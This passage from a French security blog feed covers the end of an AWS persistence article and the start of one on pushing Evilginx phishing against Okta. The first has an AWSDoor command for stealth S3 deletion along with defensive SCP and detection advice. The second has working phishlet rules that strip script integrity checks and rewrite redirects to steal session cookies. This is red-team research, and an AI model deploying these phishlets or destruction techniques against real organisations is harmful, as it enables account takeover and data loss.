<figure id="attachment_27364" aria-describedby="caption-attachment-27364" style="width: 1123px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27364" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_42_05-FR-Persitence-on-AWS.docx-Word-302x191.png" alt="Impact de la sortie d’une organisation AWS" width="1123" height="710" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_42_05-FR-Persitence-on-AWS.docx-Word-302x191.png 302w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_42_05-FR-Persitence-on-AWS.docx-Word-62x39.png 62w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_42_05-FR-Persitence-on-AWS.docx-Word-768x485.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_42_05-FR-Persitence-on-AWS.docx-Word.png 1226w" sizes="auto, (max-width: 1123px) 100vw, 1123px" /><figcaption id="caption-attachment-27364" class="wp-caption-text"><em>Impact de la sortie d’une organisation AWS</em></figcaption></figure>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">Sans accès administrateur au compte désormais isolé, <strong>l’entreprise n’a aucun moyen de désactiver les services</strong>, de suspendre la facturation ou de mettre fin à l’infrastructure compromise. Cela donne à l’attaquant une liberté opérationnelle totale, tandis que l’organisation se retrouve aveugle et incapable de réagir autrement qu’en sollicitant l’assistance AWS.</p>
<p> </p>
<h4>Privilèges requis</h4>
<p style="text-align: justify;">Pour exécuter l’action LeaveOrganization et <strong>détacher un compte AWS de son organisation</strong>, l’attaquant <strong>doit disposer de privilèges élevés au sein du compte ciblé</strong>. Plus précisément, les conditions et autorisations IAM suivantes sont requises :</p>
<ul>
<li style="text-align: justify;"><strong>Accès au niveau du compte </strong>: l’attaquant doit avoir un accès direct au compte membre qu’il souhaite détacher. Cela signifie qu’il doit déjà être authentifié dans ce compte AWS spécifique, soit via des identifiants volés, des jetons de session, ou en exploitant des rôles ou politiques IAM vulnérables.</li>
<li style="text-align: justify;"><strong>Permission organizations:LeaveOrganization </strong>: il s’agit de l’autorisation IAM clé nécessaire pour invoquer l’appel API LeaveOrganization. Elle doit être explicitement accordée dans les permissions effectives de l’attaquant. Cette action n’est valide que lorsqu’elle est exécutée depuis le compte membre, et non depuis le compte de gestion.</li>
<li style="text-align: justify;"><strong>Accès à la facturation </strong>: bien que non strictement requis pour quitter une organisation, un attaquant ayant accès à la facturation et aux paramètres du compte (via les actions aws-portal:*, account:* ou billing:*) peut renforcer sa position, mettre à jour les informations de contact ou verrouiller les utilisateurs légitimes après le détachement. De plus, la plupart des comptes créés au sein d’une organisation le sont sans informations de paiement (car elles sont héritées du compte payeur). Cependant, pour qu’un compte puisse être détaché et devenir autonome, ces informations doivent être renseignées.</li>
</ul>
<p> </p>
<h4>Défense and détection</h4>
<h5 style="text-align: justify;"><span style="text-decoration: underline;">Prévention des appels non autorisés à leaveorganization</span></h5>
<p style="text-align: justify;">Le contrôle le plus efficace est l’utilisation des <strong>Service Control Policies (SCP).</strong> Les SCP définissent les permissions maximales disponibles pour les comptes au sein d’une AWS Organization et peuvent refuser explicitement l’action organizations:LeaveOrganization, même si un utilisateur ou un rôle IAM local dispose de cette permission.</p>
<p style="text-align: justify;">L’opération LeaveOrganization est exécutée depuis le compte membre lui-même, et non par le compte de gestion. Cela signifie qu’un attaquant n’a pas besoin de compromettre entièrement l’organisation AWS pour détacher un compte.</p>
<p style="text-align: justify;">La SCP, <strong>définie au niveau de l’organisation, peut empêcher tout utilisateur des comptes de quitter l’organisation.</strong> Dans ce cas, l’attaquant doit d’abord compromettre l’ensemble de l’organisation AWS avant de pouvoir mener l’attaque.</p>
<p>La politique suivante empêchera tout usage abusif de LeaveOrganization :</p>
<p> </p>
<pre>{<br />  "Version": "2012-10-17",<br />  "Statement": [<br />    {<br />      "Sid": "DenyLeaveOrganization",<br />      "Effect": "Deny",<br />      "Action": "organizations:LeaveOrganization",<br />      "Resource": "*"<br />    }<br />  ]<br /><br />}</pre>
<p> </p>
<p style="text-align: justify;">Cette SCP doit <strong>être attachée directement à la racine de l’AWS Organization</strong> afin de garantir qu’elle s’applique à tous les comptes membres. Elle garantit qu’aucun compte ne puisse quitter unilatéralement l’organisation, même en cas de compromission.</p>
<p> </p>
<h5 style="text-align: justify;"><span style="text-decoration: underline;">Détection et Monitoring</span></h5>
<p style="text-align: justify;">Même avec des SCP en place<strong>, la surveillance des tentatives de LeaveOrganization est essentielle pour une défense en profondeur</strong>. En effet, même si l’action LeaveOrganization échoue en raison de la SCP, disposer d’une surveillance sur l’événement LeaveOrganization peut aider à détecter qu’une attaque est en cours dans l’environnement AWS.</p>
<p style="text-align: justify;">Par exemple, une alarme CloudWatch pour déclencher des alertes lorsque l’événement LeaveOrganization ou DisablePolicyType se produit.</p>
<p style="text-align: justify;"> </p>
<h3 style="text-align: justify;">Destruction de bucket S3</h3>
<h4 style="text-align: justify;">Politique standard de suppression S3</h4>
<p style="text-align: justify;"><strong>Amazon S3 est l’un des services de stockage les plus utilisés et les plus fiables</strong> de l’écosystème AWS. Les organisations s’appuient sur lui pour stocker aussi bien des journaux et des fichiers que des données métier critiques et des sauvegardes. La destruction de données S3 peut avoir un impact bien plus important que la perte de quelques ressources de calcul, ce qui en fait une cible de grande valeur pour les attaquants.</p>
<p style="text-align: justify;">Si le téléversement et le stockage de données dans S3 sont simples, la suppression de volumes importants de données est volontairement coûteuse en ressources et chronophage. Lorsqu’un bucket S3 est supprimé ou vidé, AWS effectue une suppression récursive et séquentielle de chaque objet, ce qui peut prendre des heures, voire des jours, dans de grands environnements.</p>
<p style="text-align: justify;"><strong>De plus, AWS applique une cohérence finale (eventual consistency)</strong> sur les suppressions d’objets : même après une requête de suppression, <strong>les objets peuvent persister temporairement</strong>. Ces choix de conception offrent aux défenseurs une fenêtre temporelle cruciale pour détecter et contrer les tentatives de suppression avant qu’une perte de données irréversible ne survienne.</p>
<p style="text-align: justify;"> </p>
<h4 style="text-align: justify;">Politique de cycle de vie</h4>
<p style="text-align: justify;">Les politiques de cycle de vie Amazon S3 offrent un mécanisme automatisé pour <strong>gérer le cycle de vie du stockage</strong> des objets dans un bucket. Elles permettent de définir des règles qui transfèrent les objets vers différentes classes de stockage ou <strong>les font expirer (supprimer) après une période définie, selon des critères tels que l’âge de l’objet,</strong> un préfixe ou des balises. Cette automatisation aide les organisations à optimiser les coûts de stockage et à appliquer des politiques de conservation des données sans intervention manuelle.</p>
<p style="text-align: justify;">Cependant, <strong>les politiques de cycle de vie fonctionnent différemment des processus manuels</strong> <strong>et contournent les protections standard</strong> conçues pour ralentir les suppressions massives. Un attaquant ayant obtenu des privilèges élevés dans un compte AWS peut créer ou modifier une politique de cycle de vie afin de fixer l’expiration des objets à la durée minimale autorisée (1 jour). <strong>Une fois appliquée, cette politique est rétroactive :</strong> tous les objets existants dans le bucket seront marqués pour expiration et programmés pour suppression, et tous les nouveaux objets créés expireront peu après leur création.</p>
<p style="text-align: justify;"><strong>Contrairement aux suppressions manuelles, les expirations via une politique de cycle de vie sont gérées en interne par AWS</strong> à grande échelle et s’exécutent beaucoup plus rapidement. Cela peut permettre une suppression massive, rapide et furtive du contenu d’un bucket, sans générer le volume d’appels API ou le bruit opérationnel typique des suppressions récursives manuelles. Comme les modifications de politiques de cycle de vie peuvent ne pas déclencher d’alertes immédiates ou évidentes, un tel abus représente un risque important de destruction de données non détectée dans les environnements AWS.</p>
<p style="text-align: justify;">Étant donné que <strong>les politiques de cycle de vie sont appliquées quotidiennement, le défenseur dispose de moins d’une journée pour détecter la modification de la politique</strong>, retirer le marquage de suppression et révoquer l’accès de l’attaquant.</p>
<p> </p>
<h4>AWSDoor</h4>
<p>Cette technique est implémentée par AWSDoor:</p>
<pre>python .\main.py --m S3ShadowDelete -n s3bucketname</pre>
<p> </p>
<h4 style="text-align: justify;">Détection</h4>
<p style="text-align: justify;">La détection des suppressions furtives d’objets via les politiques de cycle de vie S3 peut facilement être manquée, car la suppression d’objets par expiration de cycle de vie ne génère pas d’événements DeleteObject standards dans CloudTrail, contrairement aux suppressions manuelles.</p>
<p style="text-align: justify;">À la place, AWS gère en interne le processus de suppression de manière asynchrone, sans attribuer ces suppressions à un utilisateur ou rôle spécifique. Par conséquent, de nombreuses solutions de surveillance de sécurité ne reconnaissent pas cette action comme malveillante, alors qu’elle vise à impacter la disponibilité des données. <strong>Le seul indicateur fiable d’une telle opération est l’événement API PutBucketLifecycleConfiguration,</strong> qui journalise la création ou la mise à jour d’une règle de cycle de vie définissant un nouveau paramètre d’expiration (Expiration).</p>
<p style="text-align: justify;">Pour détecter un abus potentiel, il convient de configurer une règle CloudWatch afin de surveiller les événements PutBucketLifecycleConfiguration et d’inspecter automatiquement la nouvelle configuration de politique. Si la politique inclut une action d’expiration fixée à la durée minimale autorisée (1 jour) ou s’applique largement à tous les objets, cela doit être considéré comme un changement à haut risque.</p>
<p style="text-align: justify;">Dans les environnements sensibles, de tels changements de configuration devraient déclencher des alertes immédiates, <strong>une remédiation automatique</strong> et nécessiter une validation manuelle. Comme cette méthode contourne la traçabilité habituelle des suppressions au niveau objet, une détection précoce au niveau de la configuration est essentielle pour éviter une perte de données silencieuse et à grande échelle : l’équipe de défense ne disposera que d’une journée pour réagir.</p>
<p> </p>
<h2>Conclusion</h2>
<h3>CSPM</h3>
<p style="text-align: justify;">L’article a montré comment les configurations IAM peuvent être exploitées de manière furtive pour maintenir un accès à long terme dans des environnements AWS. Des techniques telles que l’injection de clés d’accès (AccessKey injection), l’ajout de portes dérobées dans les politiques de confiance (trust policy backdooring) et l’utilisation de politiques NotAction permettent aux attaquants de persister sans déployer de logiciel malveillant ni déclencher d’alertes.</p>
<p style="text-align: justify;">Une solution de Cloud Security Posture Management (CSPM) joue un rôle clé dans la prévention de ces abus. En surveillant en continu les configurations IAM, en détectant les politiques trop permissives et en identifiant les écarts par rapport aux référentiels de conformité, un CSPM peut mettre rapidement en évidence des changements suspects. Par exemple, il peut signaler la création de nouvelles clés d’accès pour des utilisateurs qui utilisent habituellement le SSO, ou détecter l’établissement de relations de confiance avec des comptes externes. Ces capacités aident à empêcher qu’une persistance basée sur IAM ne s’installe durablement.</p>
<p style="text-align: justify;"> </p>
<h3 style="text-align: justify;">EDR</h3>
<p style="text-align: justify;">Au-delà d’IAM, les attaquants peuvent exploiter directement les ressources AWS, telles que les fonctions Lambda et les instances EC2, pour maintenir un accès. L’article a détaillé comment des Lambda layers compromises, des rôles sur‑privilégiés et des tunnels inversés basés sur SSM peuvent être utilisés pour persister sans modifier directement IAM.</p>
<p style="text-align: justify;">Un Cloud EDR complète un CSPM en se concentrant sur le comportement à l’exécution et le contexte d’exécution. Il peut détecter des exécutions Lambda inhabituelles, des expositions inattendues via API Gateway, ou des instances EC2 initiant des tunnels sortants. En corrélant ces comportements avec le contexte d’identité et les changements récents de configuration, un EDR Cloud peut mettre en lumière des techniques de persistance qui passeraient autrement inaperçues. Cette visibilité comportementale est essentielle pour détecter en temps réel la persistance basée sur les ressources.</p>
<p style="text-align: justify;"> </p>
<h3 style="text-align: justify;">Backup et journalisation</h3>
<p style="text-align: justify;">Enfin, l’article a exploré comment des attaquants peuvent altérer la visibilité et la capacité de récupération en ciblant les mécanismes de journalisation et de sauvegarde. La désactivation de CloudTrail, la modification des sélecteurs d’événements, le déploiement de politiques de cycle de vie pour une suppression silencieuse dans S3 ou le détachement de comptes d’une AWS Organization sont autant de techniques qui réduisent la supervision et permettent un compromis ou une destruction à long terme.</p>
<p style="text-align: justify;">Là encore, un CSPM et un EDR Cloud offrent des défenses complémentaires. Un CSPM peut détecter des erreurs de configuration dans les pipelines de journalisation, des modifications non autorisées de politiques de cycle de vie ou des tentatives de quitter l’organisation. De son côté, un EDR Cloud peut repérer l’absence de télémétrie attendue, des baisses soudaines du volume de journaux ou des appels API destructeurs. Ensemble, ils garantissent que les capacités de visibilité et de récupération restent intactes, même en cas d’attaque active.</p>
<p> </p>
<p> </p>
















<p>Cet article <a href="https://www.riskinsight-wavestone.com/2025/09/awsdoor-persistance-sur-aws/">AWSDoor : Persistance sur AWS</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/2025/09/awsdoor-persistance-sur-aws/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Phishing : Evilginx poussé à ses limites</title>
		<link>https://www.riskinsight-wavestone.com/2025/07/phishing-evilginx-pousse-a-ses-limites/</link>
					<comments>https://www.riskinsight-wavestone.com/2025/07/phishing-evilginx-pousse-a-ses-limites/#respond</comments>
		
		<dc:creator><![CDATA[Yoann DEQUEKER]]></dc:creator>
		<pubDate>Thu, 17 Jul 2025 15:03:17 +0000</pubDate>
				<category><![CDATA[Ethical Hacking & Incident Response]]></category>
		<category><![CDATA[Azure]]></category>
		<category><![CDATA[cybersecurity]]></category>
		<category><![CDATA[Ethical Hacking]]></category>
		<category><![CDATA[EvilGinx]]></category>
		<category><![CDATA[MFA]]></category>
		<category><![CDATA[Okta]]></category>
		<category><![CDATA[phishing]]></category>
		<category><![CDATA[Phislet]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=26611</guid>

					<description><![CDATA[<p>Les attaques par phishing sont aussi vieilles que l&#8217;internet. Cependant, au fil des ans, les techniques et les moyens utilisés pour le phishing changent, mais l&#8217;objectif final reste le même : obtenir un premier accès au réseau interne. Habituellement, les...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2025/07/phishing-evilginx-pousse-a-ses-limites/">Phishing : Evilginx poussé à ses limites</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[


<p style="text-align: justify;">Les attaques par phishing sont <strong>aussi vieilles que l&rsquo;internet</strong>. Cependant, au fil des ans, les techniques et les moyens utilisés pour le phishing changent, mais l&rsquo;objectif final reste le même : obtenir un premier accès au réseau interne.</p>
<p style="text-align: justify;">Habituellement, <strong>les <em>threat actors</em> tentent d&rsquo;envoyer des documents malveillants</strong> tels que des applications HTA ou des documents Office malveillants mais, avec le développement de solutions de sécurité SMTP telles que ProofPoint, le durcissement par défaut d&rsquo;Office lié aux macros et la sensibilisation accrue au phishing, <strong>ces types de techniques sont de moins en moins utilisés</strong>.</p>
<p style="text-align: justify;">Aujourd’hui, les attaques de phishing ne visent plus à obtenir un accès direct au réseau interne de l’entreprise, mais plutôt à <strong>récupérer l’identité numérique de l’utilisateur :</strong> son identité Office365, Google Workspace ou Okta. Cette identité est ensuite réutilisée via des applications SSO jusqu’à ce qu’une porte d’entrée soit identifiée, par le biais d’applications exposées comme Citrix ou un accès VPN.</p>
<p style="text-align: justify;">Pour limiter ce type d’attaques, <strong>les entreprises ont commencé à imposer l’utilisation de l’authentification multifacteur (MFA)</strong>, afin de garantir que, même si un acteur malveillant parvient à récupérer un jeu d’identifiants valides par phishing ou collecte, il ne puisse ni compléter le processus d’authentification ni réutiliser ces identifiants sur une autre application.</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">Phishing 101</h2>
<p> </p>
<h3 style="text-align: justify;">IDP, cookies et phishing</h3>
<p style="text-align: justify;">La protection MFA mise en place par les entreprises est <strong>un bon moyen de limiter l&rsquo;impact</strong> d&rsquo;un phishing réussi. En effet, même si l&rsquo;acteur de la menace récupère les informations d&rsquo;identification de l&rsquo;utilisateur, il ne sera pas en mesure d&rsquo;usurper l&rsquo;identité de l&rsquo;utilisateur puisqu&rsquo;il ne pourra pas valider le MFA.</p>
<p style="text-align: justify;">Cependant, aujourd&rsquo;hui, le MFA n&rsquo;est généralement demandé <strong>que lors de la première authentification</strong> : une fois que l&rsquo;utilisateur est authentifié auprès du fournisseur d&rsquo;identité, celui-ci lui fournit une preuve d&rsquo;authentification qu&rsquo;il peut transmettre à n&rsquo;importe quel service. Grâce à cette preuve d&rsquo;authentification, l&rsquo;utilisateur n&rsquo;a pas besoin d&rsquo;une authentification active supplémentaire et n&rsquo;a donc pas besoin de revalider le MFA tant que ce ticket est valide.</p>
<p style="text-align: justify;">Dans les IDP web les plus courants comme Azure, Google ou Okta, <strong>ce ticket est représenté par les cookies</strong>. Lorsque l&rsquo;utilisateur se connecte à l&rsquo;IDP pour la première fois, le service renvoie un cookie valable pendant 1 heure, 1 jour ou 2 ans. Avec ces cookies, l&rsquo;utilisateur peut se connecter à n&rsquo;importe quel autre service web compatible SSO sans authentification.</p>
<p style="text-align: center;"> </p>
<figure id="attachment_26612" aria-describedby="caption-attachment-26612" style="width: 973px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-26612" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image1-1-238x191.png" alt="Schéma décrivant le maintient de la session par les cookies" width="973" height="781" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image1-1-238x191.png 238w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image1-1-49x39.png 49w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image1-1-768x616.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image1-1.png 1420w" sizes="auto, (max-width: 973px) 100vw, 973px" /><figcaption id="caption-attachment-26612" class="wp-caption-text"><em>Session maintenue par des cookies</em></figcaption></figure>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">En résumé,<strong> les cookies IDP de l&rsquo;utilisateur représentent l&rsquo;identité numérique de l&rsquo;utilisateur</strong>. Par conséquent, dans une attaque de phishing dont l&rsquo;objectif principal est d&rsquo;usurper cette identité numérique de l&rsquo;utilisateur, l&rsquo;attaquant tentera de voler les cookies une fois que l&rsquo;utilisateur aura réussi son authentification.</p>
<p> </p>
<h3 style="text-align: justify;">Evilginx</h3>
<p> </p>
<h4 style="text-align: justify;">Evil proxy</h4>
<p style="text-align: justify;">Pour voler les cookies, l&rsquo;attaquant doit être placé dans une position <em>man-in-the-middle</em> au cours du processus d&rsquo;authentification. Cependant, avec la sécurité TLS imposée dans la majorité des IDP, <strong>l&rsquo;utilisateur aura conscience qu&rsquo;il se passe quelque chose d&rsquo;anormal</strong>.</p>
<p style="text-align: justify;">C&rsquo;est là qu&rsquo;<strong>Evilginx entre en jeu</strong>. Au lieu d&rsquo;effectuer une simple attaque de type « <em>man-in-the-middle</em> » en relayant le paquet vers l&rsquo;IDP, Evilginx crée un proxy malveillant :<strong> l&rsquo;utilisateur ne s&rsquo;authentifie pas sur accounts.google.com, mais il s&rsquo;authentifie sur login.evilginx.com</strong> :</p>
<figure id="attachment_26614" aria-describedby="caption-attachment-26614" style="width: 973px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-26614" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image2-399x191.png" alt="Schéma du fonctionnement d’Evilgproxy" width="973" height="466" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image2-399x191.png 399w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image2-71x34.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image2-768x367.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image2.png 947w" sizes="auto, (max-width: 973px) 100vw, 973px" /><figcaption id="caption-attachment-26614" class="wp-caption-text"><em>Fonctionnement d’Evilgproxy</em></figcaption></figure>
<p>Je ne prendrai pas plus de temps pour développer le principe de proxy malveillant, car ce sujet est déjà bien documenté sur Internet.</p>
<p> </p>
<h4 style="text-align: justify;">Phislets 101</h4>
<p style="text-align: justify;">Par exemple, lors de l&rsquo;authentification à Azure, les domaines suivants sont utilisés :</p>
<ul>
<li>login.microsoftonline.com</li>
<li>www.microsoftonline.com</li>
<li>aadcdn.microsoftonline.com</li>
</ul>
<p style="text-align: justify;">Le problème est que pendant le processus d&rsquo;authentification, l&rsquo;IDP redirige l&rsquo;utilisateur vers des pages spécifiques avec le domaine codé en dur dans la réponse. Par exemple, lors d&rsquo;un processus d&rsquo;authentification SAML classique, l&rsquo;IDP forcera le client à effectuer une requête POST vers un domaine spécifique codé en dur. Par conséquent, même si l&rsquo;utilisateur a commencé son processus d&rsquo;authentification sur login.evilginx.com, il sera redirigé vers login.microsoftonline.com au cours du processus d&rsquo;authentification, ce qui rompt la position de l&rsquo;homme du milieu.</p>
<p style="text-align: justify;">Evilginx <strong>utilise des fichiers de configuration spécifiques connus sous le nom de phishlets pour gérer de tels cas</strong>. La configuration du phishlet permet à Evilginx de savoir quel domaine doit être réécrit dans la réponse du serveur. Ainsi, si l&rsquo;IDP renvoie une réponse telle que :</p>
<pre style="text-align: justify;">&lt;form id=”SAML” action=”https://login.microsoftonline.com”&gt;<br />[…]<br />&lt;/form&gt;<br />&lt;script&gt;<br />document.getElementById(“SAML”).click()<br />&lt;/script&gt;</pre>
<p style="text-align: justify;">Avec le phishlet, <strong>Evilginx saura que le domaine login.microsoftonline.com doit être réécrit</strong> et renverra à la cible la page modifiée suivante :</p>
<pre>&lt;form id=”SAML” action=”https://login.evilginx.com”&gt;<br />[…]<br />&lt;/form&gt;<br />&lt;script&gt;<br />document.getElementById(“SAML”).click()<br />&lt;/script&gt;</pre>
<p style="text-align: justify;">Avec un tel modèle de correspondance et de remplacement,<strong> Evilginx est capable de maintenir l&rsquo;utilisateur dans l&rsquo;application malveillante</strong> même si l&rsquo;IDP tente de rediriger l&rsquo;utilisateur vers une page spécifique.</p>
<p> </p>
<h4 style="text-align: justify;">Limites du remplacement automatique</h4>
<p style="text-align: justify;">Le remplacement automatique des phishlets Evilginx a ses limites. En effet, <strong>il arrive que le serveur n’indique pas directement le domaine en dur dans la page,</strong> mais qu&rsquo;il le construise par le biais d&rsquo;un script JS.</p>
<p style="text-align: justify;">Dans ce cas, Evilginx n&rsquo;est pas en mesure de détecter automatiquement le motif du domaine. En tant que concepteurs de phishlets, nous devons alors comprendre comment le script fonctionne et remplacer manuellement la partie construisant le domaine de redirection par une correspondance/un remplacement.</p>
<h5> </h5>
<h5>CORS</h5>
<p style="text-align: justify;">Dans Okta, le flux d&rsquo;authentification est basé sur plusieurs scripts JS récupérés sur le domaine oktadcn. Le script <strong>construit dynamiquement l&rsquo;URL de redirection</strong> : il prend le nom du locataire Okta et ajoute « okta.com ». Par conséquent, lorsque Okta tente d&rsquo;atteindre la page spécifique en utilisant le domaine okta.com,<strong> il échoue en raison de la protection CORS</strong> (tentative d&rsquo;atteindre okta.com/idp/idx/introspect à partir de evilginx.com) :</p>
<figure id="attachment_26627" aria-describedby="caption-attachment-26627" style="width: 1009px" class="wp-caption alignnone"><img loading="lazy" decoding="async" class=" wp-image-26627" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image3-367x191.png" alt="Image montrant l'erreur provoquée par les CORS d'okta" width="1009" height="525" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image3-367x191.png 367w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image3-71x37.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image3-768x400.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image3.png 849w" sizes="auto, (max-width: 1009px) 100vw, 1009px" /><figcaption id="caption-attachment-26627" class="wp-caption-text"><em>Les CORS Okta</em></figcaption></figure>
<p style="text-align: justify;">En déboguant l&rsquo;application, il est possible de trouver l&rsquo;endroit où la construction de l&rsquo;URL est effectuée et de la modifier en remplaçant le motif correspondant :</p>
<pre style="text-align: justify;"><u>Replace:</u> array");var t=<br /><u>By:</u> array");e.redirectUri=e.redirectUri.replace("okta.com","evilginx.com");var t=</pre>
<p style="text-align: justify;">Avec cette simple indication, Evilginx remplacera tout motif correspondant, <strong>évitant ainsi la redirection de l&rsquo;utilisateur en dehors de l&rsquo;application de phishing.</strong></p>
<h5> </h5>
<h5 style="text-align: justify;">Intégrité du JS</h5>
<p style="text-align: justify;">Lorsque l&rsquo;on modifie le fichier JS ou tout autre fichier via Evilginx,<strong> cela peut causer des problèmes en raison du hash d’intégrité du script</strong> :</p>
<pre style="text-align: justify;">&lt;script src="https://ok14static.oktacdn.com/assets/js/sdk/okta-signin-widget/7.30.1/js/okta-sign-in.min.js" type="text/javascript" integrity="sha384-EX0iPfWYp6dfAnJ+ert/KRhXwMapYJdnU2i5BbbeOhWyX0qyI4rMkxKKl8N5pXNI" crossorigin="anonymous"/&gt;</pre>
<p style="text-align: justify;">En effet, si Evilginx modifie le script okta-signing-widget, son hash ne correspondra pas à celui défini dans le fichier html et l&rsquo;application refusera de le charger.</p>
<figure id="attachment_26684" aria-describedby="caption-attachment-26684" style="width: 1165px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-26684" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/hash-437x48.png" alt="Image montrant l'erreur liée au hash d’intégrité" width="1165" height="128" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/hash-437x48.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/hash-71x8.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/hash-768x85.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/hash-1536x170.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/hash.png 1737w" sizes="auto, (max-width: 1165px) 100vw, 1165px" /><figcaption id="caption-attachment-26684" class="wp-caption-text"><em>Erreur liée au hash d’intégrité</em></figcaption></figure>
<p style="text-align: justify;">Avec Evilginx, nous pouvons également modifier la page html pour supprimer le contrôle d&rsquo;intégrité :</p>
<pre style="text-align: justify;">Replace: integrity="[^"]*"<br />By: integrity=''</pre>
<h5> </h5>
<h5 style="text-align: justify;">Validation de l&rsquo;URI de redirection</h5>
<p style="text-align: justify;">Le dernier point est <strong>la validation de l&rsquo;URI de redirection</strong>. En effet, lors de l&rsquo;authentification OIDC, le client sera redirigé vers une page dont l&rsquo;URL est du type :</p>
<pre style="text-align: justify;">/oauth2/v1/authorize?client_id=XXXXXX&amp;redirect_uri=https://trial-xxxxx.okta.com[...]</pre>
<p style="text-align: justify;">Avec le remplacement automatique de domaine configuré sur Evilginx, le paramètre URI de redirection trial-xxxx.okta.com sera automatiquement changé en trial-xxxxx.evilginx.com.</p>
<p style="text-align: justify;">Cela déclenchera le processus de validation de l&rsquo;uri de redirection. Le domaine evilginx.com n&rsquo;ayant pas été configuré du côté d&rsquo;Okta comme un domaine de redirection valide,<strong> Okta affichera l&rsquo;erreur suivante :</strong></p>
<figure id="attachment_26631" aria-describedby="caption-attachment-26631" style="width: 250px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-26631" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image5-175x191.png" alt="Image montrant l'erreur  400 - Bad Request dans Okta" width="250" height="273" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image5-175x191.png 175w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image5-36x39.png 36w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image5.png 269w" sizes="auto, (max-width: 250px) 100vw, 250px" /><figcaption id="caption-attachment-26631" class="wp-caption-text"><em>Erreur dans Okta</em></figcaption></figure>
<p style="text-align: justify;">L&rsquo;URI de redirection est <strong>construit dynamiquement par Okta en prenant le domaine de connexion </strong>et en ajoutant les paramètres de rappel. Il est donc possible de contourner cette erreur en modifiant le script JS qui construit l&rsquo;URL et en s&rsquo;assurant que l&rsquo;URI de rappel est celui attendu par Okta :</p>
<p style="text-align: justify;">En utilisant Evilginx, il est<strong> possible d&rsquo;utiliser un motif qui sera remplacé pour réinitialiser le redirect_uri </strong>à la bonne URI :</p>
<pre style="text-align: justify;"><u>Replace:</u> ,l.src=e.getIssuerOrigin()<br /><u>By:</u> ,l.src=e.getIssuerOrigin().replace("evilginx.com","okta.com")<br /><br /><u>Replace:</u> var s=(n.g.fetch||h())(t<br /><u>By:</u> ,l.src=e.getIssuerOrigin().replace("evilginx.com","okta.com")</pre>
<h4> </h4>
<h4 style="text-align: justify;">Phishlets basiques</h4>
<h5 style="text-align: justify;">Okta</h5>
<pre style="text-align: justify;">min_ver: '3.0.0'<br />name: 'okta-wavestone'<br /><br />params:<br />  - name: okta_orga<br />    default: ''<br />    required: true<br />  - name: redirect_server<br />    default: https://google.com<br /><br />proxy_hosts:<br />  - phish_sub: '{okta_orga}'<br />    orig_sub: '{okta_orga}'<br />    domain: okta.com<br />    session: true<br />    is_landing: true<br />    auto_filter: true<br /><br />  - phish_sub: ok14static<br />    orig_sub: ok14static<br />    domain: oktacdn.com<br />    session: false<br />    is_landing: false<br />    auto_filter: true<br /><br />  - phish_sub: login<br />    orig_sub: login<br />    domain: okta.com<br />    session: false<br />    is_landing: false<br />    auto_filter: true<br /><br />sub_filters:<br />  - triggers_on: 'ok14static.oktacdn.com'<br />    orig_sub: ''<br />    domain: 'okta.com'<br />    search: 'array"\);var t='<br />    replace: 'array");e.redirectUri=e.redirectUri.replace("{basedomain}","{orig_domain}");var t='<br />    mimes: ['application/javascript']<br /><br />  - triggers_on: '{okta_orga}.okta.com'<br />    orig_sub: ''<br />    domain: 'okta.com'<br />    search: integrity="[^"]*"<br />    replace: integrity=''<br />    mimes: ['text/html', 'charset=utf-8']<br /><br />  - triggers_on: '{okta_orga}.okta.com'<br />    orig_sub: ''<br />    domain: 'okta.com'<br />    search: 'mainScript\.integrity'<br />    replace: 'mainScript.inteegrity'<br />    mimes: ['text/html', 'charset=utf-8']<br 